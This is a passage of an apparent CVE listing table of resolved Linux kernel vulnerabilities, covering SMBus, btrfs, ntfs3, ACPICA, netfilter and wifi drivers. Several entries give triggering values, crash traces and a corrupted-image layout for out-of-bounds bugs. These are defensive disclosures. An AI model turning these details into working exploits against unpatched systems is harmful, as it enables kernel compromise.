&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: i2c: smbus: reject oversized block transfers in the common path The SMBus block transfer length data-&amp;gt;block[0] is validated in i2c_smbus_xfer_emulated() but that check runs too late for tracepoints and is skipped entirely when the adapter provides a native smbus_xfer implementation. This allows user-controlled oversized block lengths to reach tracepoint memcpy calls and driver callbacks unchecked. Add an early validation in __i2c_smbus_xfer() that rejects block transfers whose caller-supplied length is zero or exceeds I2C_SMBUS_BLOCK_MAX before any tracepoint fires or driver callback runs. data-&amp;gt;block[0] is filled in by the device on SMBus block reads, so the check is scoped to operations where the length is actually supplied by the caller. This is consistent with the existing -EINVAL convention in the emulated path and protects all downstream consumers at once: the smbus_write tracepoint, all native smbus_xfer driver implementations, and the emulated path. Two distinct bugs are fixed by this change: Bug 1: smbus_write tracepoint OOB (include/trace/events/smbus.h) trace_smbus_write() fires before any validation and copies data-&amp;gt;block[0]+1 bytes into a 34-byte event buffer. With block[0]=0xfe the tracepoint copies 255 bytes, overflowing by 221. BUG: KASAN: stack-out-of-bounds in trace_event_raw_event_smbus_write+0x27c/0x530 Read of size 255 at addr ffff88800d98fcf8 by task poc_smbus/91 Call Trace: &amp;lt;TASK&amp;gt; __asan_memcpy+0x23/0x80 trace_event_raw_event_smbus_write+0x27c/0x530 __i2c_smbus_xfer+0x43a/0xa40 i2c_smbus_xfer+0x19e/0x340 i2cdev_ioctl_smbus+0x38f/0x7f0 i2cdev_ioctl+0x35e/0x680 __x64_sys_ioctl+0x147/0x1e0 do_syscall_64+0xcf/0x15a0 entry_SYSCALL_64_after_hwframe+0x76/0x7e &amp;lt;/TASK&amp;gt; Bug 2: i2c-stub I2C_SMBUS_I2C_BLOCK_DATA OOB (drivers/i2c/i2c-stub.c) stub_xfer() implements .smbus_xfer directly and only clamps block[0] against 256-command, not I2C_SMBUS_BLOCK_MAX. With block[0]=0xff and command=0 the loop accesses block[1+i] for i up to 254, far past the 34-byte union. UBSAN: array-index-out-of-bounds in drivers/i2c/i2c-stub.c:223:44 index 34 is out of range for type &#039;__u8 [34]&#039; Call Trace: &amp;lt;TASK&amp;gt; __ubsan_handle_out_of_bounds+0xd7/0x120 stub_xfer+0x1971/0x198f [i2c_stub] __i2c_smbus_xfer+0x306/0xa40 i2c_smbus_xfer+0x19e/0x340 i2cdev_ioctl_smbus+0x38f/0x7f0 i2cdev_ioctl+0x35e/0x680 __x64_sys_ioctl+0x147/0x1e0 do_syscall_64+0xcf/0x15a0 entry_SYSCALL_64_after_hwframe+0x76/0x7e &amp;lt;/TASK&amp;gt; Both traces reproduced on v7.0-rc6+i2c/for-current with KASAN+UBSAN.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93287&quot; target=&quot;_blank&quot;&gt;CVE-2026-93287&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: netfilter: nfnetlink_log: wait for rcu grace period before freeing pernet state sashiko reports: &quot;nfnl_log_net_exit() calls nf_log_unset(), which clears the logger pointer without an RCU grace period. Immediately after, ops_free_list() frees the per-net state while concurrent packets might still be executing nf_log_packet() under rcu_read_lock().&quot; Clear the pointer via .pre_exit to make sure rcu readers have completed before pernet storage is free&#039;d. The change in nf_log_syslog.c is only done for consistency: it doesn&#039;t use pernet data.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93288&quot; target=&quot;_blank&quot;&gt;CVE-2026-93288&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: vhost-scsi: flush backend after device ioctls vhost-scsi translates guest response descriptors into userspace iovecs when commands are submitted. Target-core completes those commands asynchronously, so VHOST_SET_MEM_TABLE can replace the memory table while an in-flight command still retains response iovecs translated through the old table. If the old mapping is reused after VHOST_SET_MEM_TABLE returns, command completion can write the response to an unrelated userspace object. Flush the vhost-scsi backend after vhost_dev_ioctl() handles a device ioctl. This waits for in-flight commands that can still use the old response iovecs before the ioctl returns.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93782&quot; target=&quot;_blank&quot;&gt;CVE-2026-93782&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: pcie: null RX pointers after free When iwl_pcie_tx_init() fails after RX init, nic init unwinds via iwl_pcie_rx_free(). The freed RX members stayed non-NULL on the live transport object, so later teardown or retry could touch stale RX state. Set rx_pool, global_table, rxq, and alloc_page to NULL after free to make repeated cleanup and retry paths safe.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93796&quot; target=&quot;_blank&quot;&gt;CVE-2026-93796&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: fix reloc root cleanup in merge_reloc_roots() If the root we got has zero root refs in its root item, we are resetting the root&#039;s -&amp;gt;reloc_root without using barriers like we do everywhere else. Sashiko complained about this while reviewing another patch, and it&#039;s correct (see the Link tag below). Also, we should not clear BTRFS_ROOT_DEAD_RELOC_TREE from the root unless the root points to the reloc root we have. Fix this by using clear_reloc_root(), which issues the memory barrier after setting the root&#039;s -&amp;gt;reloc_root to NULL and before clearing the bit BTRFS_ROOT_DEAD_RELOC_TREE from the root.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93798&quot; target=&quot;_blank&quot;&gt;CVE-2026-93798&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: smb/client: zero-initialize stack-allocated cifs_open_info_data Stack-allocated cifs_open_info_data may contain random data. This can make some fields have wrong value if they are not set later.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93801&quot; target=&quot;_blank&quot;&gt;CVE-2026-93801&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: cachefiles: Fix double fput Fix a double fput() in error handling in cachefiles_create_tmpfile().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93810&quot; target=&quot;_blank&quot;&gt;CVE-2026-93810&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: tree-checker: validate INODE_REF&#039;s namelen [BUG] A crafted btrfs image can trigger the following crash: BUG: unable to handle page fault for address: ffffd1dc42884000 #PF: supervisor write access in kernel mode #PF: error_code(0x0002) - not-present page CPU: 9 UID: 0 PID: 1034 Comm: poc Not tainted 7.1.0-rc4-custom+ #383 PREEMPT(full) 46af0a92938a63be7132e0dfd71e62327c51d5c2 Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS unknown 02/02/2022 RIP: 0010:memcpy+0xc/0x10 Call Trace: &amp;lt;TASK&amp;gt; read_extent_buffer+0xe4/0x100 [btrfs 3cf0785dd58fec8c5ff84633b772f17ce1f92a8f] btrfs_get_name+0x15e/0x1e0 [btrfs 3cf0785dd58fec8c5ff84633b772f17ce1f92a8f] reconnect_path+0x165/0x390 exportfs_decode_fh_raw+0x337/0x400 ? drop_caches_sysctl_handler+0xb0/0xb0 &amp;lt;/TASK&amp;gt; ---[ end trace 0000000000000000 ]--- RIP: 0010:memcpy+0xc/0x10 Kernel panic - not syncing: Fatal exception [CAUSE] TThe crafted image has the following corrupted INODE_REF item: item 9 key (258 INODE_REF 257) itemoff 11544 itemsize 4106 index 2 namelen 4096 name: d\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000\000 The itemsize matches the namelen, but the namelen is 4096, way larger than normal name length limit (BTRFS_NAME_LEN, 255). Meanwhile the memory of the @name is only 255 byte sized, this will cause out-of-boundary access, and cause the above crash. [FIX] Add extra namelen verification for INODE_REF, just like what we have done in ROOT_REF checks. Now the crafted image can be rejected gracefully: BTRFS critical (device dm-2): corrupt leaf: root=5 block=30572544 slot=14 ino=259, invalid inode ref name length, has 4096 expect [1, 255] BTRFS error (device dm-2): read time tree block corruption detected on logical 30572544 mirror 2 [ Rebase, add a Link: tag, add an simple cause analyze ]&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93813&quot; target=&quot;_blank&quot;&gt;CVE-2026-93813&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: f2fs: validate inline dentry name lengths before conversion Inline dentry conversion copies names out of the inline dentry area before checking that each recorded name length fits in the available filename slots. A corrupted image can therefore make the conversion path read past the inline filename storage while building the regular dentry block. Validate each inline dentry name length against the inline filename area before copying it.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93816&quot; target=&quot;_blank&quot;&gt;CVE-2026-93816&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: perf: Fix addr_filter_ranges lifetime Lee Jia Jie reported that since event::addr_filter_ranges is used under RCU, it should be RCU freed.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93817&quot; target=&quot;_blank&quot;&gt;CVE-2026-93817&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: HID: hidpp: fix potential UAF in hidpp_connect_event() If input_register_device() fails, we call input_free_device(), but keep stale pointer to the old device in hidpp-&amp;gt;input, which could potentially lead to UAF. Fix that by resetting it to NULL before returning from hidpp_connect_event().&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93826&quot; target=&quot;_blank&quot;&gt;CVE-2026-93826&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net: stmmac: xgmac2: disable RBUE in default RX interrupt mask Enabling the RX Buffer Unavailable (RBUE) interrupt is counterproductive and can trigger a MAC interrupt storm under heavy RX pressure. When the DMA runs out of RX descriptors it fires RBUE continuously until software refills the ring. However, RBUE is redundant: the normal RX completion interrupt (RIE) already triggers NAPI, which processes completed descriptors and refills the ring, causing the DMA to resume. The RBUE handler itself only sets handle_rx - the same outcome as RIE. On Agilex5 under heavy RX pressure, the MAC interrupt (which includes RBUE) was observed firing 1,821,811,555 times against only 2,618,627 actual RX completions - a ~695x ratio - confirming the severity of the storm. RBUE does not provide OOM recovery. If page_pool is exhausted, stmmac_rx_refill() cannot advance the DMA tail pointer, the DMA stays suspended, and RBUE fires again on the next NAPI completion - a storm with no forward progress. This patch trades that storm for a clean stall with the same RX outcome. Proper OOM recovery is a pre-existing gap outside the scope of this fix. Note: as a consequence of disabling RBUE, the rx_buf_unav_irq ethtool counter will always read 0 on XGMAC2 devices. This behaviour is already inconsistent across DWMAC core versions. Remove RBUE from XGMAC_DMA_INT_DEFAULT_EN and XGMAC_DMA_INT_DEFAULT_RX to prevent the interrupt storm while keeping normal RX handling intact.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93830&quot; target=&quot;_blank&quot;&gt;CVE-2026-93830&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: btrfs: tree-checker: validate names in ROOT_REF and ROOT_BACKREF ROOT_REF and ROOT_BACKREF items contain a struct btrfs_root_ref followed by the subvolume name. Several readers assume that this layout is already valid and then use the on-disk name length directly. A corrupted item can therefore make those readers address bytes outside the item, and BTRFS_IOC_GET_SUBVOL_INFO can copy too many bytes into its fixed-size UAPI name buffer. Validate ROOT_REF and ROOT_BACKREF items in tree-checker before any reader uses them. Reject records that do not contain a non-empty name, whose name_len does not exactly describe the remaining item payload, or whose name exceeds BTRFS_NAME_LEN. For BTRFS_IOC_GET_SUBVOL_INFO, copy only the validated on-disk name_len instead of deriving the copy length from the item size. The ioctl result is zeroed when allocated. That leaves the existing trailing zero byte untouched.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97415&quot; target=&quot;_blank&quot;&gt;CVE-2026-97415&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: netfilter: nf_conntrack: use get_unaligned_be32() in tcp_sack() The timestamp-only fast path dereferences the option stream as *(__be32 *)ptr, which assumes 4-byte alignment that the TCP option stream does not guarantee. Use get_unaligned_be32() instead, which reads the value safely and already returns host byte order, so the htonl() on the comparison constant can be dropped. This matches the existing get_unaligned_be32() use later in the same function.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97417&quot; target=&quot;_blank&quot;&gt;CVE-2026-97417&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/umem: Be careful about boundary conditions in ib_umem_find_best_pgsz() Several corner cases, especially important on 32 bits: - umem-&amp;gt;iova is u64, the function argument should pass in u64 or iova will be truncated - Check that the length is not too large for the iova - Check that lengths &amp;gt; 4G don&#039;t overflow the GENMASK&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97421&quot; target=&quot;_blank&quot;&gt;CVE-2026-97421&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: harden FRU PIA parsing with bounded helpers Replace the open-coded TLV walk with fru_pia_advance() and fru_pia_copy_field() helpers that bound every read by the actual EEPROM data length, preventing out-of-bounds reads on truncated or malformed FRU data.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97428&quot; target=&quot;_blank&quot;&gt;CVE-2026-97428&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: drm/amdkfd: fix UAF race in destroy_queue_cpsch wait_on_destroy_queue() drops locks to wait for queue resume, allowing a concurrent destroy to free the queue. Use is_being_destroyed flag to serialize destruction.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97429&quot; target=&quot;_blank&quot;&gt;CVE-2026-97429&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ntfs3: fix out-of-bounds read in ntfs_dir_emit() and hdr_find_e() The bounds check in ntfs_dir_emit() compares fname-&amp;gt;name_len (a character count) against e-&amp;gt;size (a byte count) without accounting for the 2-byte-per-character UTF-16LE encoding or the ATTR_FILE_NAME header size: if (fname-&amp;gt;name_len + sizeof(struct NTFS_DE) &amp;gt; le16_to_cpu(e-&amp;gt;size)) This computes: name_len + 16 &amp;gt; e_size The correct check must account for the ATTR_FILE_NAME header (66 bytes before the name) and the UTF-16LE character size (2 bytes each): sizeof(NTFS_DE) + offsetof(ATTR_FILE_NAME, name) + name_len * sizeof(short) &amp;gt; e_size Which computes: 16 + 66 + name_len * 2 &amp;gt; e_size The correct calculation already exists as fname_full_size() in ntfs.h and is used in cmp_fnames(), namei.c, and fslog.c, but was not used in the readdir path. A crafted NTFS image with an index entry containing a small e-&amp;gt;size but large fname-&amp;gt;name_len bypasses the current check, causing ntfs_utf16_to_nls() to read past the entry boundary. Additionally, add a key_size validation in hdr_find_e() to ensure the declared key_size does not exceed the available entry data, preventing comparison functions from reading past entry boundaries on the lookup path.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97437&quot; target=&quot;_blank&quot;&gt;CVE-2026-97437&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fs/ntfs3: validate index entry key bounds [BUG] A malformed NTFS directory index entry can advertise a key_size larger than the bytes actually present in its NTFS_DE payload. Directory lookup then passes that malformed key to cmp_fnames(), which can read past the end of the kmalloc&#039;ed index buffer. BUG: KASAN: slab-out-of-bounds in fname_full_size fs/ntfs3/ntfs.h:590 [inline] BUG: KASAN: slab-out-of-bounds in cmp_fnames+0x1ea/0x230 fs/ntfs3/index.c:46 Read of size 1 at addr ffff88801c313018 by task syz.6.3365/9279 Call Trace: __dump_stack lib/dump_stack.c:94 [inline] dump_stack_lvl+0xbe/0x130 lib/dump_stack.c:120 print_address_description mm/kasan/report.c:378 [inline] print_report+0xd1/0x650 mm/kasan/report.c:482 kasan_report+0xfb/0x140 mm/kasan/report.c:595 __asan_report_load1_noabort+0x14/0x30 mm/kasan/report_generic.c:378 fname_full_size fs/ntfs3/ntfs.h:590 [inline] cmp_fnames+0x1ea/0x230 fs/ntfs3/index.c:46 hdr_find_e.isra.0+0x3ed/0x670 fs/ntfs3/index.c:762 indx_find+0x4b5/0x900 fs/ntfs3/index.c:1186 dir_search_u+0x2c0/0x460 fs/ntfs3/dir.c:254 ntfs_lookup+0x1cc/0x2a0 fs/ntfs3/namei.c:85 __lookup_slow+0x241/0x450 fs/namei.c:1816 lookup_slow fs/namei.c:1833 [inline] walk_component+0x31c/0x570 fs/namei.c:2151 link_path_walk+0x592/0xd60 fs/namei.c:2519 path_lookupat+0x138/0x660 fs/namei.c:2675 filename_lookup+0x1f3/0x560 fs/namei.c:2705 filename_setxattr+0xad/0x1c0 fs/xattr.c:660 path_setxattrat+0x1d8/0x280 fs/xattr.c:713 __do_sys_lsetxattr fs/xattr.c:754 [inline] __se_sys_lsetxattr fs/xattr.c:750 [inline] __x64_sys_lsetxattr+0xd0/0x150 fs/xattr.c:750 ... Allocated by task 9279: kasan_save_stack+0x39/0x70 mm/kasan/common.c:56 kasan_save_track+0x14/0x40 mm/kasan/common.c:77 kasan_save_alloc_info+0x37/0x60 mm/kasan/generic.c:573 poison_kmalloc_redzone mm/kasan/common.c:400 [inline] __kasan_kmalloc+0xc3/0xd0 mm/kasan/common.c:417 kasan_kmalloc include/linux/kasan.h:262 [inline] __do_kmalloc_node mm/slub.c:5650 [inline] __kmalloc_noprof+0x2bd/0x900 mm/slub.c:5662 kmalloc_noprof include/linux/slab.h:961 [inline] indx_read+0x41d/0xad0 fs/ntfs3/index.c:1059 indx_find+0x447/0x900 fs/ntfs3/index.c:1179 dir_search_u+0x2c0/0x460 fs/ntfs3/dir.c:254 ntfs_lookup+0x1cc/0x2a0 fs/ntfs3/namei.c:85 __lookup_slow+0x241/0x450 fs/namei.c:1816 lookup_slow fs/namei.c:1833 [inline] walk_component+0x31c/0x570 fs/namei.c:2151 link_path_walk+0x592/0xd60 fs/namei.c:2519 path_lookupat+0x138/0x660 fs/namei.c:2675 filename_lookup+0x1f3/0x560 fs/namei.c:2705 filename_setxattr+0xad/0x1c0 fs/xattr.c:660 path_setxattrat+0x1d8/0x280 fs/xattr.c:713 __do_sys_lsetxattr fs/xattr.c:754 [inline] __se_sys_lsetxattr fs/xattr.c:750 [inline] __x64_sys_lsetxattr+0xd0/0x150 fs/xattr.c:750 ... [CAUSE] The index-header validators only validated INDEX_HDR-level geometry. They did not walk each NTFS_DE to verify entry alignment, subnode layout, or that key_size fit inside the entry payload. They also allowed a last sentinel entry to carry a non-zero key_size. [FIX] Walk every NTFS_DE in ntfs3&#039;s index-header validators and reject entries with invalid layout, mismatched subnode state, oversized key_size, or non-zero sentinel keys before lookup or log replay can consume them.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97438&quot; target=&quot;_blank&quot;&gt;CVE-2026-97438&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPICA: add boundary checks in two places Add boundary checks in acpi_ps_get_next_namestring() and acpi_ps_peek_opcode() to prevent out-of-bounds access.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97444&quot; target=&quot;_blank&quot;&gt;CVE-2026-97444&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPICA: Enhance buffer validation in acpi_ut_walk_aml_resources() Enhance buffer validation in acpi_ut_walk_aml_resources() to prevent buffer overflows.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97445&quot; target=&quot;_blank&quot;&gt;CVE-2026-97445&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPICA: Add validation for node in acpi_ns_build_normalized_path() Add validation for node in acpi_ns_build_normalized_path() to prevent use-after-free vulnerabilities.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97448&quot; target=&quot;_blank&quot;&gt;CVE-2026-97448&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ACPICA: add boundary checks in acpi_ps_get_next_field() Add boundary checks in acpi_ps_get_next_field() to prevent out-of-bounds access.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97454&quot; target=&quot;_blank&quot;&gt;CVE-2026-97454&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: wifi: iwlwifi: mld: purge async notifications upon nic error This fixes a kernel panic in reconfig failure: 1. we have a BSS connection 2. we have a NAN connection 3. FW error occurs 4. reconfig restores the BSS connection 5. however, restoring the NAN connection fails due to a FW error. 6. erroneously, ieee80211_handle_reconfig_failure is called and marks all interfaces as not-in-driver (will be fixed in a different patch). 7. mac80211 frees the links of the BSS connection but doesn&#039;t tell the driver about that, as it thinks that this vif is not in the driver. 8. in ieee80211_stop_device, *ALL* wiphy works are getting flushed (erroneously?) 9. Therefore, async_handlers_wk is being executed, processing the statistics notification that was received after we restored the BSS connection. 10. the notification handler dereferences fw_id_to_bss_conf[id], which is now a dangling pointer, as mac80211 already freed this link in (7). 11. On the first access to one of the links fields, we panic. While this can and should be fixed by removing the call to ieee80211_handle_reconfig_failure in (6), it is also not a good idea to carry and maybe handle notifications from a dead FW. We do purge the notifications when we stop the FW, but in reconfig failure we stop the FW too late, after the notifications are processed. In addition, async_handlers_wk can always be scheduled before the reconfig work. Purge the notifications immediately when transport notifies about a nic error.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-97474&quot; target=&quot;_blank&quot;&gt;CVE-2026-97474&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
